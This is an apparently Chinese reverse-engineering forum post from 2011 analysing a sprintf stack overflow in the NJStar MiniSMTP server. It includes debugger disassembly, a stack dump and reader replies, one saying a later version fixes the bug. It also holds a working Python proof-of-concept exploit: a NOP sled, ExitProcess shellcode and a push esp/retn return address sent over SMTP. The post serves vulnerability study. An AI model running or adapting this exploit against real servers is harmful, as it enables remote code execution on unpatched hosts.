首页
社区
课程
招聘
[原创]简单分析南极星MiniSMTP缓冲区溢出漏洞
发表于: 2011-11-10 20:44 5828

[原创]简单分析南极星MiniSMTP缓冲区溢出漏洞

2011-11-10 20:44
5828

软件下载地址:http://www.skycn.com/soft/3068.html       
MiniSMTP,位于Njstar Communicator安装目录下。当MiniSMTP收到SMTP命令时,使用sprintf(buff,"Command: %s",strCmd)格式化命令,并显示在UI界面。buff是256字节固定长度,程序中没有对strCmd的长度做检测。当strCmd的长度大于247时,缓冲区溢出,并覆盖函数返回地址。可使用jmp esp, 或push esp,retn等跳板指令可以执行shellcode。
exploit python代码:
import socket

HOST = '10.200.97.18'    # The remote host
PORT = 25              # The same port as used by the server
#简单的shellcode,程序安静的退出. xp sp2 适用
sh_exitprocess="\x6a\01"+\                                       
                "\xb8\x12\xcb\x81\x7c"+\       
                "\xff\xd0"

#nop + shellcode + ret_addr + 向后跳转jmp指令 + "\r\n". 程序以\r\n作为SMTP命令的结束,添加\r\n让程序尽快的触发。
evildata='\x90'*(247-len(sh_exitprocess))+sh_exitprocess+'\x59\x54\xc3\x77'+'\xe9\x09\xff\xff\xff'+"\r\n"

if __name__ == '__main__':
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    data = s.recv(1024)
    print data
    s.send(evildata)
    data = s.recv(1024)
    print data
    s.close()
    print 'end'

       
调试代码:
关键函数入口:
004052D0   .  81EC 08030000 sub     esp, 308                                   ;  Session thread
004052D6   .  53            push    ebx
004052D7   .  55            push    ebp
004052D8   .  56            push    esi
004052D9   .  8BF1          mov     esi, ecx
004052DB   .  57            push    edi
004052DC   .  6A 00         push    0
sub     esp, 308 分配临时空间

sprintf 漏洞点:
0040533C   .  55            push    ebp
0040533D   .  8D9424 1C0200>lea     edx, dword ptr [esp+21C]
00405344   .  68 DC494100   push    004149DC                                   ;  ASCII "Command: %s"
00405349   .  52            push    edx
0040534A   .  FFD3          call    ebx                                        ;  call sprintf 漏洞点
edx是长度为256字节的栈空间

函数结束,清理临时空间:
00405651   > \5F            pop     edi
00405652   .  5E            pop     esi
00405653   .  5D            pop     ebp
00405654   .  5B            pop     ebx
00405655   .  81C4 08030000 add     esp, 308
0040565B   .  C3            retn
此时的栈结构如下:
00F1FF44   90909090
00F1FF48   90909090
00F1FF4C   90909090
00F1FF50   90909090
00F1FF54   90909090
00F1FF58   90909090
00F1FF5C   90909090
00F1FF60   6A909090
00F1FF64   CB12B801
00F1FF68   D0FF7C81
00F1FF6C   77C35459  msvcrt.77C35459
00F1FF70   FFFF09E9
00F1FF74   000000FF
00F1FF78   00A03CF8
00F1FF7C   00A03CF8
esp指向00F1FF6C   77C35459  msvcrt.77C35459。 程序将跳转到77C35459处执行push esp,retn。此时esp指向的代码是E9 09FFFFFF,是一个jmp指令跳至-247处,执行一串nop指令。
最终执行到shellcode。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 6
支持
分享
最新回复 (3)
雪    币: 29
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
呵呵 好经典的溢出场景~
2011-11-11 15:20
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
都是牛啊.希望这样的文章多些,给我们这些小菜一次被科普的机会.
2011-12-12 23:58
0
雪    币: 3277
活跃值: (1992)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
你提供的那个是2.7版本吧,最近的3.0版已经修正了。
2011-12-13 03:49
0
游客
登录 | 注册 方可回帖
返回
//